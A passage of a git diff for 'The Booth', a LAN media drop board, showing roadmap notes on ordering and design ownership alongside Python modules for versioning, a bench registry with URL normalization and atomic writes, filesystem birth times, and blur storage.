precisely so they cannot disagree, which is the same property stated for
|
||||
ordering: one rule, one place, every surface reading it.
|
||||
|
||||
**U7's group ordering is SETTLED and SHIPPED** (operator, 2026-09-22): groups
|
||||
order by the position of their first member in the rendered sequence, so the
|
||||
rail reads in the same direction as the grid. Subfolder sections were dropped
|
||||
in favour of filename-prefix groups on measured grounds — zero of eleven
|
||||
gallery booths have a subdirectory.
|
||||
|
||||
**Nothing in this table is undecided any more.** The two U7 rules that were
|
||||
(section ordering among themselves, compare pairing) resolved differently:
|
||||
section ordering is MOOT, because U7 renders no section rail — `Item.section`
|
||||
still exists and is still derived, it simply has no ordered surface. Compare
|
||||
pairing was ruled 2026-09-24: pairs are PICKED, never detected from filenames,
|
||||
and compare landed with r3 (rows above). **U6's bench listing is
|
||||
settled** — the row above.
|
||||
|
||||
The test for any new ordered surface: *can you write the rule down in one line?*
|
||||
If not, it does not have one yet.
|
||||
@@ -78,20 +165,63 @@ weighed against the v1 path and lost on purpose.
|
||||
|
||||
| item | why parked |
|
||||
|---|---|
|
||||
| **Compare mode** — pair-by-name A/B across subfolders | The best idea in the set, and the only one that is a *new capability* rather than a fix for a measured defect. The four-booth `pancake-v3/v4` dance still works. First thing in v1.1. |
|
||||
| ~~**Compare mode**~~ — **UNPARKED 2026-09-23, LANDED 2026-09-24 (r3)** | Parked as "the only new capability rather than a fix for a measured defect", and **that deferral was ours and the operator overruled it.** design-dev argued it belongs in this arc because the ladders and bakeoffs already need it; the operator ruled `this_arc`. Lands AFTER the Desk and the reel, as a view toggle over the same item record. Recorded so nobody re-parks it by reading an older rule. |
|
||||
| Virtualized / progressive grid loading | Speculative. 270 `<img loading="lazy">` may be fine. **Measure the real booth before optimising it** — if it renders inside a second, this is invented work. |
|
||||
| Bench uptime history + graphs | The v1 need is "is it dead", which one flag answers. A time series is a different product. |
|
||||
| Cross-booth search | No evidence of the need in the usage data. |
|
||||
| Per-viewer state (who has seen what) | The Booth has one viewer. Revisit if that stops being true. |
|
||||
| Auth | Standing non-goal. LAN/mesh-internal. Blur stays cosmetic and says so. |
|
||||
|
||||
## Post-v1, already committed
|
||||
## The design arc — IN SCOPE, not post-v1
|
||||
|
||||
- **SVOS theme retrofit by `design-dev`.** Runs as a parallel track, not a v1
|
||||
gate: we own the information architecture (it is driven by the measurement
|
||||
above), design-dev owns the visual and interaction system. The handoff is a
|
||||
`/vor-ui` brief written against the landed v1 structure — the same shape
|
||||
`hamr-dev` and `pewpew-dev` used.
|
||||
⚠ **This section used to be "Post-v1, already committed" and it is not post-v1
|
||||
any more.** The operator's 2026-09-23 rulings put a flow redesign and compare
|
||||
mode inside the arc, so the work below is part of what ships, not after it.
|
||||
|
||||
- **SVOS theme retrofit by `design-dev` — HANDED OFF AND ACCEPTED 2026-09-22**
|
||||
(althing thread `01M369321KNBPZ7FYDQGZG7AXP`). Runs as a parallel track, not a
|
||||
v1 gate: we own the information architecture (it is driven by the measurement
|
||||
above), design-dev owns the visual and interaction system.
|
||||
|
||||
🛑 **OPERATOR RULING 2026-09-23 — THE OWNERSHIP BOUNDARY MOVED, AND IT MOVED
|
||||
OUR WAY OUT.** The first concept round was ruled **NOT ship-as-shown**:
|
||||
*"He didn't go far enough, still looks like the booth. I want him to consider
|
||||
the flow and the requirements — design touches, layout, usability all belong
|
||||
to him."* **Flow, layout, usability and the REQUIREMENTS are design-dev's.**
|
||||
The information architecture is no longer fenced off from him: what belongs on
|
||||
which page, what groups with what, what the rail counts and whether a rail is
|
||||
the right object at all are his calls to propose and build.
|
||||
|
||||
⚠ **The fence was OURS, and it is what produced a reskin.** The handoff said
|
||||
*"what we are not asking for: layout changes driven by information
|
||||
architecture"*, and design-dev's *"markup changes are class additions only, no
|
||||
reordering"* was that constraint honoured. The ruling corrects the brief, not
|
||||
his round. **That paragraph is void — do not restate it.**
|
||||
|
||||
What survives is two tiers, deliberately separated because collapsing them is
|
||||
how we over-fenced the first time. **Tier 1, correctness not taste:**
|
||||
deterministic order (an operator directive — the RULE may change, but not into
|
||||
"whatever the layout yields"), autoescape, blur keeps admitting it is
|
||||
cosmetic, restart discipline. **Tier 2, engineering defaults WE chose and he
|
||||
may now argue with:** the gallery working with JavaScript off, virtualization
|
||||
parked, compare mode deferred. Tier 2 disputes go to the operator, not settled
|
||||
between agents.
|
||||
|
||||
⚠ **The `/vor-ui` brief this row used to require was DECLINED, and rightly.**
|
||||
The row predates `docs/design/information-architecture.md`; with that doc, the
|
||||
landed templates and the seven handoff constraints in hand, a `/vor-ui` pass
|
||||
would have cost the operator a serial Q&A to re-derive IA we had already
|
||||
measured — the exact operator-load this project exists to reduce. The handoff
|
||||
message is the brief. If the design system ever wants the IA different,
|
||||
design-dev raises it and we re-measure rather than either side guessing.
|
||||
|
||||
Settled with it: **we merge and restart** (the deployment root stays in one
|
||||
pair of hands); design-dev works on `svos-retheme` in his own clone against a
|
||||
COPY of `~/booth-data`, never touching `:8090`; a concept round goes to the
|
||||
OPERATOR before any fixup. Webfonts arrive by Google Fonts `<link>` with
|
||||
`display=swap` and a system fallback stack — the CDN-free property was
|
||||
accreted, not an invariant, and self-hosting is a v1.1 item because
|
||||
`v1.0.0b1` promises no new features.
|
||||
|
||||
## Gate
|
||||
|
||||
|
||||
+41
-2
@@ -1,3 +1,42 @@
|
||||
"""The Booth — ephemeral media drop board. See booth.app for the server."""
|
||||
"""The Booth — ephemeral media drop board. See booth.app for the server.
|
||||
|
||||
__version__ = "0.1.0"
|
||||
⚠ THIS FILE IS EFFECTIVELY STDLIB-ONLY and nothing used to say so. `scripts/booth`
|
||||
imports `booth.links` / `booth.marks` / `booth.manifest` under the SYSTEM python3
|
||||
with no venv, and importing any of them executes this module first — so a single
|
||||
third-party import here breaks `booth ask` on every fleet host exactly as one in
|
||||
those three would. `test_stdlib_only` now covers `__init__` for that reason.
|
||||
"""
|
||||
|
||||
import tomllib
|
||||
from pathlib import Path
|
||||
|
||||
_PYPROJECT = Path(__file__).resolve().parent.parent / "pyproject.toml"
|
||||
|
||||
|
||||
def _declared_version() -> str:
|
||||
"""The version of the code actually running, read from `pyproject.toml`.
|
||||
|
||||
⚠ NOT `importlib.metadata`, and the reason is this repo's own shape: there
|
||||
is no build step and no install step — `booth.service` runs uvicorn with
|
||||
WorkingDirectory set to the repo, so the running code IS this tree.
|
||||
Installed metadata describes a DIFFERENT artifact and was found saying
|
||||
`0.3.0` (a vestigial dist-info, three releases stale, with no package
|
||||
directory behind it) while the tree was at `1.0.0b1`. A confidently wrong
|
||||
number that varies by environment is worse than the hardcoded `0.1.0` this
|
||||
replaced, which at least failed the same way everywhere.
|
||||
|
||||
Falls back to installed metadata for the case this repo does not have but a
|
||||
consumer might: packaged as a wheel, where pyproject does not ship.
|
||||
"""
|
||||
try:
|
||||
return tomllib.loads(_PYPROJECT.read_text())["project"]["version"]
|
||||
except (OSError, KeyError, tomllib.TOMLDecodeError):
|
||||
try:
|
||||
from importlib.metadata import version
|
||||
|
||||
return version("booth")
|
||||
except Exception:
|
||||
return "0.0.0+unknown"
|
||||
|
||||
|
||||
__version__ = _declared_version()
|
||||
|
||||
+1654
-276
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,416 @@
|
||||
"""Benches: a running thing, registered.
|
||||
|
||||
A bench is NOT a booth and NOT a bookmark. It is a durable middle-to-long-term
|
||||
testing surface — jackdaw's current bench, talk's current bench, the things that
|
||||
get promoted to Homepage when they are fully deployed. The standing link board
|
||||
absorbed the job because it was the only surface on offer, and an O_APPEND log
|
||||
with no identity turns "here is the bench again" into a fifth row rather than an
|
||||
update: `talk` is on the board five times and Peedlar's root three.
|
||||
|
||||
STDLIB ONLY, AND SIBLING-FREE, ON PURPOSE. `scripts/booth` imports this through
|
||||
a `python3 -c` heredoc under the system python3 with no venv, exactly as it
|
||||
imports `marks`, `asks`, `links` and `manifest`. A third-party import breaks
|
||||
`booth bench` on every fleet host; a `from booth.links import ...` breaks it on
|
||||
any host where both modules are not importable together, which is a second way
|
||||
for the same invariant to fall. `tests/test_benches.py` forbids both.
|
||||
|
||||
SINGLE-WRITER, MANY-READER — the opposite shape from `links.md`. The board is a
|
||||
multi-writer append log because seventeen agent handles post to it at once. This
|
||||
is the operator in one browser plus occasional CLI calls, so it is one file,
|
||||
rewritten whole under a lock, replaced atomically. Inheriting the append-log
|
||||
design here would be the mistake CLAUDE.md names by name.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import json
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from dataclasses import dataclass, replace
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Iterable
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
|
||||
# At the DATA ROOT, not inside a booth. A dotfile there is invisible to
|
||||
# `list_booths` and to `sweep_once` — both skip a child that is not a directory
|
||||
# AND a child whose name starts with a dot, so the registry fails two guards
|
||||
# rather than one. Verified against both functions (seam review SR-4, SR-5)
|
||||
# rather than assumed: had either guard been absent, the sweeper would have
|
||||
# eaten this file on its first tick.
|
||||
BENCHES_FILE = ".benches.json"
|
||||
BENCH_LOCK = ".benches.lock"
|
||||
|
||||
# live → promoted (to Homepage) → retired. Order is meaningful: it is the
|
||||
# first key of the rendered order, so a retired bench sinks.
|
||||
BENCH_STATES = ("live", "promoted", "retired")
|
||||
_STATE_RANK = {s: i for i, s in enumerate(BENCH_STATES)}
|
||||
|
||||
# Display budgets, not storage limits — these land in a panel row.
|
||||
NAME_MAX, OWNER_MAX, URL_MAX = 120, 64, 2048
|
||||
|
||||
# The read is on the render path, so it is bounded. 256 KiB holds thousands of
|
||||
# benches; the live board has 43 non-booth rows total.
|
||||
BENCHES_MAX_BYTES = 256 * 1024
|
||||
|
||||
_SCHEMES = ("http", "https")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Bench:
|
||||
"""One registered bench.
|
||||
|
||||
`id` and `url` are two fields ON PURPOSE. The identity must be normalized so
|
||||
that re-posting updates rather than appends; the href must be verbatim so a
|
||||
server that cares about a trailing slash, a case-sensitive path or a query
|
||||
still works when the operator clicks it. Collapsing them would make the
|
||||
registry quietly change where a link goes — a bug that surfaces as "the
|
||||
bench 404s" and is never traced back here.
|
||||
"""
|
||||
|
||||
id: str # the normalized URL — identity, and the key on disk
|
||||
url: str # the URL as posted — what a click goes to
|
||||
name: str
|
||||
owner: str # an althing handle, or "booth" for the service
|
||||
state: str
|
||||
added: str # ISO-8601 with offset, from the FIRST registration
|
||||
updated: str # ISO-8601 with offset, from the most recent upsert
|
||||
error: str | None = None # a read-time verdict; never stored
|
||||
|
||||
|
||||
def normalize_bench_url(url: str) -> str:
|
||||
"""The identity of a bench. Raises ValueError with a reason a human can act on.
|
||||
|
||||
THE RULE, in full, because a vague identity is worse than a wrong one:
|
||||
|
||||
* surrounding whitespace stripped
|
||||
* scheme lowercased; anything but http/https refused
|
||||
* userinfo (`user:pass@host`) REFUSED, never stripped
|
||||
* host lowercased; an empty host refused
|
||||
* port dropped when it is the scheme default (80 http, 443 https)
|
||||
* path kept verbatim, except that a bare "/" becomes ""
|
||||
* query kept verbatim INCLUDING parameter order (a query is opaque)
|
||||
* fragment dropped
|
||||
|
||||
WHY THE FULL URL AND NOT THE ORIGIN — measured, not chosen. Collapsing the
|
||||
live board's 43 non-booth rows by origin yields 19 groups; by full URL, 35.
|
||||
The difference is not duplication: it is eight distinct gitea repositories
|
||||
merged into one row, three unrelated HuggingFace model cards merged into
|
||||
one, and the two LRPG surfaces on `10.100.10.50:8321` merged into one —
|
||||
which are the information-architecture doc's own example of two real
|
||||
benches. Origin identity destroys more than it deduplicates. Full-URL
|
||||
identity still collapses both cases that doc names: talk 5 → 1, Peedlar 3 → 1.
|
||||
|
||||
WHY THE QUERY IS IN AND THE FRAGMENT IS OUT. Three ShutterChute rows on the
|
||||
board differ only by `?token=`; they are three genuinely different one-shot
|
||||
links, and dropping the query would merge them into a bench that is none of
|
||||
them. A fragment is a position inside a page, never a different resource.
|
||||
"""
|
||||
raw = (url or "").strip()
|
||||
if not raw:
|
||||
raise ValueError("a bench needs a URL")
|
||||
if len(raw) > URL_MAX:
|
||||
raise ValueError(f"URL is longer than {URL_MAX} characters")
|
||||
try:
|
||||
parts = urlsplit(raw)
|
||||
except ValueError as exc: # malformed IPv6 literal, etc.
|
||||
raise ValueError(f"could not parse that URL: {exc}") from exc
|
||||
|
||||
scheme = parts.scheme.lower()
|
||||
if scheme not in _SCHEMES:
|
||||
raise ValueError(
|
||||
f"a bench must be http or https, not {parts.scheme or '(no scheme)'}"
|
||||
)
|
||||
if "@" in parts.netloc:
|
||||
# Refused, NOT stripped. Stripping would register a bench whose URL no
|
||||
# longer works while telling the poster it succeeded — and would put a
|
||||
# credential on a board that renders on an unauthenticated LAN surface
|
||||
# on the way there.
|
||||
raise ValueError("a bench URL must not carry credentials; strip the user:pass@ and re-post")
|
||||
try:
|
||||
host = (parts.hostname or "").lower()
|
||||
port = parts.port
|
||||
except ValueError as exc: # a non-numeric port
|
||||
raise ValueError(f"could not read the host or port: {exc}") from exc
|
||||
if not host:
|
||||
raise ValueError("that URL has no host")
|
||||
|
||||
# RE-WRAP A BRACKETED IPv6 LITERAL. `urlsplit().hostname` strips the
|
||||
# brackets, and rebuilding the netloc from it produces `http://::1:8080/a`
|
||||
# — not a different spelling of the same URL but a BROKEN one, so a re-post
|
||||
# never matches the row the operator thinks they are updating. The bracket
|
||||
# is part of the authority's syntax, not decoration. Detected by the colon,
|
||||
# which cannot appear in a hostname or an IPv4 literal.
|
||||
if ":" in host:
|
||||
host = f"[{host}]"
|
||||
default = {"http": 80, "https": 443}[scheme]
|
||||
netloc = host if port in (None, default) else f"{host}:{port}"
|
||||
# A bare "/" is the same resource as no path at all; a trailing slash on a
|
||||
# REAL path is not, and is left alone.
|
||||
path = "" if parts.path == "/" else parts.path
|
||||
return urlunsplit((scheme, netloc, path, parts.query, ""))
|
||||
|
||||
|
||||
# ---- storage ----------------------------------------------------------------
|
||||
|
||||
|
||||
def _now() -> str:
|
||||
return datetime.now(timezone.utc).isoformat(timespec="seconds")
|
||||
|
||||
|
||||
def _cap(value: object, limit: int, field: str) -> str:
|
||||
if not isinstance(value, str):
|
||||
raise ValueError(f"{field} must be text, not {type(value).__name__}")
|
||||
return value[:limit]
|
||||
|
||||
|
||||
def _bench_from(bench_id: str, row: object) -> Bench:
|
||||
"""One stored row to a record. Raises ValueError on any shape it cannot
|
||||
trust — this is the STRICT half, used by the write path and by the read
|
||||
path's single try/except."""
|
||||
if not isinstance(row, dict):
|
||||
raise ValueError(f"{bench_id}: expected an object, found {type(row).__name__}")
|
||||
state = row.get("state", "live")
|
||||
if state not in BENCH_STATES:
|
||||
raise ValueError(f"{bench_id}: unknown state {state!r}")
|
||||
url = row.get("url", bench_id)
|
||||
if not isinstance(url, str):
|
||||
raise ValueError(f"{bench_id}: url must be text, not {type(url).__name__}")
|
||||
if len(url) > URL_MAX:
|
||||
# REFUSED, NOT TRUNCATED — unlike `name` and `owner`. Those are display
|
||||
# budgets and clipping one costs a few characters in a panel row. A
|
||||
# clipped URL is a DEAD ANCHOR, and INV-7 promises the click goes to the
|
||||
# posted address byte for byte; silently shortening it keeps the promise
|
||||
# in the type system and breaks it in the browser. Nothing this code
|
||||
# writes can get here (normalize refuses over-long input); a hand-edited
|
||||
# registry can, and it is damage, which is what the reader reports.
|
||||
raise ValueError(f"{bench_id}: url is longer than {URL_MAX} characters")
|
||||
return Bench(
|
||||
id=bench_id,
|
||||
url=url,
|
||||
name=_cap(row.get("name", ""), NAME_MAX, "name"),
|
||||
owner=_cap(row.get("owner", ""), OWNER_MAX, "owner"),
|
||||
state=state,
|
||||
added=_cap(row.get("added", ""), 64, "added"),
|
||||
updated=_cap(row.get("updated", ""), 64, "updated"),
|
||||
)
|
||||
|
||||
|
||||
def _read_bytes(path: Path) -> bytes:
|
||||
"""Read at most BENCHES_MAX_BYTES + 1 bytes from a REGULAR FILE.
|
||||
|
||||
REGULAR-FILE FIRST, THEN SIZE, THEN A BOUNDED READ — in that order, and the
|
||||
order is the whole point. A named pipe blocks in `open()`, before any byte
|
||||
cap can apply: bounding the read does NOT close that hole, and an earlier
|
||||
draft of this module claimed it did while hanging on the first FIFO put at
|
||||
this path. `read_benches` is on the board page's render path, so that hang
|
||||
is a request that never returns and, with enough of them, the threadpool
|
||||
behind every route. `marks.py` learned this on 2026-09-22 and guards with
|
||||
`S_ISREG`; this is the same guard, not a new idea.
|
||||
|
||||
The bounded read stays, for the case the stat cannot answer: a regular file
|
||||
that GREW between the stat and the read.
|
||||
"""
|
||||
st = os.stat(path)
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
raise ValueError(f"{path.name} is not a regular file")
|
||||
if st.st_size > BENCHES_MAX_BYTES:
|
||||
raise ValueError(f"registry is larger than {BENCHES_MAX_BYTES} bytes")
|
||||
with path.open("rb") as fh:
|
||||
return fh.read(BENCHES_MAX_BYTES + 1)
|
||||
|
||||
|
||||
def _load_strict(root: Path) -> dict[str, Bench]:
|
||||
"""Every bench, or ValueError. The write path's reader.
|
||||
|
||||
Whole-file, not per-row: a registry with one unreadable row is a registry
|
||||
somebody has to look at, and quietly dropping the row is how a bench
|
||||
disappears without anyone being told.
|
||||
"""
|
||||
path = Path(root) / BENCHES_FILE
|
||||
if not path.exists():
|
||||
return {}
|
||||
blob = _read_bytes(path)
|
||||
if len(blob) > BENCHES_MAX_BYTES:
|
||||
raise ValueError(f"registry is larger than {BENCHES_MAX_BYTES} bytes")
|
||||
try:
|
||||
raw = json.loads(blob.decode("utf-8"))
|
||||
except (UnicodeDecodeError, json.JSONDecodeError) as exc:
|
||||
raise ValueError(f"registry is not valid JSON: {exc}") from exc
|
||||
if not isinstance(raw, dict):
|
||||
raise ValueError(f"registry must be an object keyed by URL, found {type(raw).__name__}")
|
||||
return {k: _bench_from(k, v) for k, v in raw.items()}
|
||||
|
||||
|
||||
def read_benches(root: Path) -> tuple[list[Bench], str | None]:
|
||||
"""Every registered bench in the rendered order, plus a read-time error.
|
||||
|
||||
NEVER RAISES. This runs on the render path, and the v0.2.2 lesson in this
|
||||
repo was learned the expensive way: a poisoned `.marks.json` returned 500
|
||||
for `/` and `/healthz` across all 25 booths. A registry that cannot be read
|
||||
costs its own panel, never the page.
|
||||
|
||||
ABSENT AND DAMAGED ARE DIFFERENT and must render differently — only one of
|
||||
them needs a human. Absent is `([], None)`; damaged is `([], "why")`.
|
||||
"""
|
||||
try:
|
||||
return order_benches(_load_strict(root).values()), None
|
||||
except ValueError as exc:
|
||||
return [], str(exc)
|
||||
except OSError as exc:
|
||||
return [], f"registry could not be read: {exc}"
|
||||
except RecursionError:
|
||||
# Deeply nested JSON (`[[[[...`) blows the stack inside json.loads, and
|
||||
# RecursionError is neither ValueError nor OSError — so it escaped the
|
||||
# pair above and 500'd the page this function exists to protect. The
|
||||
# byte cap does not help: 200k open brackets is 200 KB.
|
||||
return [], "registry is nested too deeply to parse"
|
||||
|
||||
|
||||
def _write_all(root: Path, benches: dict[str, Bench]) -> None:
|
||||
"""Atomic replace. Caller holds the lock.
|
||||
|
||||
Temp file + os.replace, so a reader never sees a partial file and a crash
|
||||
mid-write cannot truncate the registry into a shorter — and therefore
|
||||
quieter — set of benches. CLAUDE.md invariant 5.
|
||||
"""
|
||||
root = Path(root)
|
||||
path = root / BENCHES_FILE
|
||||
payload = {
|
||||
b.id: {"url": b.url, "name": b.name, "owner": b.owner,
|
||||
"state": b.state, "added": b.added, "updated": b.updated}
|
||||
# The key IS the id, so the record does not carry it twice — two copies
|
||||
# of one fact is two things that can disagree.
|
||||
for b in benches.values()
|
||||
}
|
||||
# Per-pid scratch name so two writers cannot share it: the atomic-replace
|
||||
# promise is that a READER never sees a partial file, not that two writers
|
||||
# never collide on the way there.
|
||||
body = json.dumps(payload, indent=2, sort_keys=True) + "\n"
|
||||
# THE WRITER RESPECTS THE READER'S CAP. Without this, a successful
|
||||
# registration can push the file past BENCHES_MAX_BYTES and every
|
||||
# subsequent read fails — so the LAST bench somebody added is the one that
|
||||
# makes all the others invisible, and the write that did it reported
|
||||
# success. The reader is lenient about damage; it is not lenient about
|
||||
# size, and a writer that ignores a limit its own reader enforces is
|
||||
# manufacturing exactly the state the leniency exists to survive.
|
||||
if len(body.encode("utf-8")) > BENCHES_MAX_BYTES:
|
||||
raise ValueError(
|
||||
f"that registration would push the registry past {BENCHES_MAX_BYTES} "
|
||||
f"bytes, which its own reader refuses; nothing was written")
|
||||
# AN UNPREDICTABLE SCRATCH NAME, IN THE SAME DIRECTORY. `.tmp.<pid>` is
|
||||
# guessable, and a pre-planted symlink there redirects the write straight
|
||||
# through the atomic replace — the replace is atomic, not safe. mkstemp
|
||||
# creates with O_EXCL and 0600, so it cannot land on someone else's file.
|
||||
# Same directory because os.replace is only atomic within a filesystem.
|
||||
fd, tmpname = tempfile.mkstemp(dir=str(root), prefix=".benches-", suffix=".tmp")
|
||||
tmp = Path(tmpname)
|
||||
try:
|
||||
with os.fdopen(fd, "w", encoding="utf-8") as fh:
|
||||
fh.write(body)
|
||||
fh.flush()
|
||||
# FSYNC BEFORE THE REPLACE. os.replace orders the rename, not the
|
||||
# DATA behind it: without this, a power loss can publish a name
|
||||
# pointing at bytes that never reached the disk, which is a
|
||||
# truncated registry wearing a successful write's clothes.
|
||||
os.fsync(fh.fileno())
|
||||
os.chmod(tmp, 0o644) # mkstemp's 0600 is tighter than the rest
|
||||
os.replace(tmp, path)
|
||||
except BaseException:
|
||||
# A write that dies between create and replace would otherwise strand
|
||||
# the scratch file beside the registry forever. The prior registry is
|
||||
# untouched either way — os.replace is the only thing that publishes.
|
||||
tmp.unlink(missing_ok=True)
|
||||
raise
|
||||
|
||||
|
||||
class _Locked:
|
||||
"""Exclusive flock over the whole read-modify-write, on a sidecar."""
|
||||
|
||||
def __init__(self, root: Path):
|
||||
self.root = Path(root)
|
||||
self.root.mkdir(parents=True, exist_ok=True)
|
||||
self.path = self.root / BENCH_LOCK
|
||||
|
||||
def __enter__(self):
|
||||
self.path.touch(exist_ok=True)
|
||||
self.fh = self.path.open("r+")
|
||||
fcntl.flock(self.fh, fcntl.LOCK_EX)
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc):
|
||||
fcntl.flock(self.fh, fcntl.LOCK_UN)
|
||||
self.fh.close()
|
||||
return False
|
||||
|
||||
|
||||
def upsert_bench(root: Path, url: str, name: str, owner: str) -> tuple[Bench, bool]:
|
||||
"""Register or update by normalized URL. Returns (bench, created).
|
||||
|
||||
READS ARE LENIENT, WRITES ARE STRICT — and this is the strict side. A write
|
||||
over a registry that cannot be parsed RAISES rather than starting a fresh
|
||||
one: on 2026-09-21 this repo learned that a tolerant writer over a damaged
|
||||
`.marks.json` wipes the operator's judgment, and a tolerant reader is a
|
||||
completely different decision from a tolerant writer.
|
||||
|
||||
`added` survives an update; `state` survives too, so a promoted bench that
|
||||
re-announces itself after a deploy is not silently demoted.
|
||||
"""
|
||||
bench_id = normalize_bench_url(url)
|
||||
with _Locked(root):
|
||||
benches = _load_strict(root) # raises on damaged — deliberate
|
||||
prior = benches.get(bench_id)
|
||||
now = _now()
|
||||
bench = Bench(
|
||||
id=bench_id,
|
||||
url=(url or "").strip(),
|
||||
name=_cap(name or "", NAME_MAX, "name"),
|
||||
owner=_cap(owner or "", OWNER_MAX, "owner"),
|
||||
state=prior.state if prior else "live",
|
||||
added=prior.added if prior else now,
|
||||
updated=now,
|
||||
)
|
||||
benches[bench_id] = bench
|
||||
_write_all(root, benches)
|
||||
return bench, prior is None
|
||||
|
||||
|
||||
def set_bench_state(root: Path, bench_id: str, state: str) -> Bench | None:
|
||||
"""Move a bench between live / promoted / retired. None if no such bench."""
|
||||
if state not in BENCH_STATES:
|
||||
raise ValueError(f"state must be one of {', '.join(BENCH_STATES)}, not {state!r}")
|
||||
with _Locked(root):
|
||||
benches = _load_strict(root)
|
||||
prior = benches.get(bench_id)
|
||||
if prior is None:
|
||||
return None
|
||||
moved = replace(prior, state=state, updated=_now())
|
||||
benches[bench_id] = moved
|
||||
_write_all(root, benches)
|
||||
return moved
|
||||
|
||||
|
||||
def remove_bench(root: Path, bench_id: str) -> Bench | None:
|
||||
"""Drop one bench. Returns the removed record, or None."""
|
||||
with _Locked(root):
|
||||
benches = _load_strict(root)
|
||||
gone = benches.pop(bench_id, None)
|
||||
if gone is None:
|
||||
return None
|
||||
_write_all(root, benches)
|
||||
return gone
|
||||
|
||||
|
||||
def order_benches(benches: Iterable[Bench]) -> list[Bench]:
|
||||
"""ORDER: (state rank, name casefolded, id).
|
||||
|
||||
live before promoted before retired, then alphabetical, with the id as a
|
||||
TOTAL tie-break so two benches sharing a name cannot swap between renders.
|
||||
CLAUDE.md invariant 6 — the Booth's job is comparison, and an order that
|
||||
moves between page loads files the operator's judgment against the wrong
|
||||
row. Pure: no I/O, and the input sequence is not mutated.
|
||||
"""
|
||||
return sorted(benches, key=lambda b: (_STATE_RANK.get(b.state, len(BENCH_STATES)),
|
||||
b.name.casefold(), b.id))
|
||||
@@ -0,0 +1,73 @@
|
||||
"""The filesystem's own record of when a directory was created.
|
||||
|
||||
The operator asked for creation dates on booths. Only 18 of 30 live booths had
|
||||
one: `.booth.json` carries a declared `created`, but that file only exists for
|
||||
booths posted through the CLI since U5, and the twelve older ones had nothing.
|
||||
|
||||
The tempting answers were all guesses wearing a fact's clothes — the oldest
|
||||
content mtime (wrong whenever an agent copies files with timestamps preserved),
|
||||
or the directory mtime (which is just "last time something was added"). Writing
|
||||
a first-seen stamp on read was worse still: this service spent an hour today
|
||||
fixing a cache that aged the booth it cached.
|
||||
|
||||
ext4 records a real birth time. CPython 3.13 does not expose `st_birthtime` on
|
||||
Linux, but `statx(2)` does and glibc has wrapped it since 2.28 — so this reads
|
||||
a FACT the disk already holds rather than inventing one.
|
||||
|
||||
DEGRADES TO None, always: an old kernel, a filesystem that does not record
|
||||
btime (tmpfs, NFS, some overlayfs), a missing glibc symbol, or anything else
|
||||
unexpected. A caller that gets None shows nothing, which is the honest output
|
||||
when nobody knows.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
_AT_FDCWD = -100
|
||||
_STATX_BTIME = 0x00000800
|
||||
# struct statx: stx_btime is the SECOND statx_timestamp, and the four that
|
||||
# precede it occupy a fixed 64-byte head (mask, blksize, attributes, nlink,
|
||||
# uid, gid, mode, spare, ino, size, blocks, attributes_mask), then atime.
|
||||
_BTIME_SEC_OFFSET = 80
|
||||
_STATX_BUF_SIZE = 256
|
||||
|
||||
|
||||
def _load():
|
||||
try:
|
||||
libc = ctypes.CDLL(ctypes.util.find_library("c") or "libc.so.6", use_errno=True)
|
||||
return libc.statx
|
||||
except (OSError, AttributeError):
|
||||
return None
|
||||
|
||||
|
||||
_statx = _load()
|
||||
|
||||
|
||||
def birth_time(path: Path) -> float | None:
|
||||
"""When the filesystem says this path was created, or None if it cannot say.
|
||||
|
||||
NEVER RAISES. `list_booths` calls this once per booth on every index load,
|
||||
so a read that can raise is a service-wide outage wearing a single-booth
|
||||
bug's clothes — the posture `read_manifest` already states, applied before
|
||||
the same mistake rather than after it.
|
||||
"""
|
||||
if _statx is None:
|
||||
return None
|
||||
try:
|
||||
buf = ctypes.create_string_buffer(_STATX_BUF_SIZE)
|
||||
rc = _statx(ctypes.c_int(_AT_FDCWD), os.fsencode(str(path)),
|
||||
ctypes.c_int(0), ctypes.c_uint(_STATX_BTIME), buf)
|
||||
if rc != 0:
|
||||
return None
|
||||
mask = int.from_bytes(buf.raw[0:4], "little")
|
||||
if not mask & _STATX_BTIME:
|
||||
return None # the filesystem does not record it
|
||||
sec = int.from_bytes(buf.raw[_BTIME_SEC_OFFSET:_BTIME_SEC_OFFSET + 8],
|
||||
"little", signed=True)
|
||||
return float(sec) if sec > 0 else None
|
||||
except Exception: # noqa: BLE001 — see the docstring; nothing here is worth a 500
|
||||
return None
|
||||
+232
@@ -0,0 +1,232 @@
|
||||
"""Per-item blur storage — `.blurred.json`, one JSON array of booth-relative paths.
|
||||
|
||||
⚠ STDLIB ONLY (CLAUDE.md invariant 1). `scripts/booth blur` imports this under
|
||||
the system python3 with no venv, so the service and the CLI share ONE reader,
|
||||
ONE writer and ONE predicate for what an item path is. The CLI used to keep its
|
||||
own grep/printf line writer, and two writers of one file is how formats drift.
|
||||
|
||||
⚠ COSMETIC ONLY. A blurred item is still served, still in the zip, still on
|
||||
disk. The Booth has no auth: if a thing must not be SEEN, it must not be in a
|
||||
booth.
|
||||
|
||||
WHY A NEW FILE NAME, NOT A NEW FORMAT IN THE OLD FILE. `.blurred` was one
|
||||
stripped rel per line, which could not round-trip a rel with a leading space or
|
||||
a newline (blurring " a.png" blurred "a.png"). A JSON array fixes that, the
|
||||
`.seen` shape. Writing it into the OLD name would force the reader to sniff
|
||||
which format it is looking at, and sniffing cannot be made safe: a legacy file
|
||||
whose one line is an item literally named `["a.png"]` parses as a JSON array and
|
||||
would blur the neighbour, the very bug this module exists to fix (heid bug-hunt,
|
||||
3 of 3 arms). So the two formats live at two names and neither is ever guessed:
|
||||
|
||||
.blurred.json current. JSON only, never read as lines.
|
||||
.blurred legacy, READ ONLY, and only while `.blurred.json` is absent.
|
||||
Lines only, never read as JSON. The first write replaces it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
BLUR_FILE = ".blurred.json"
|
||||
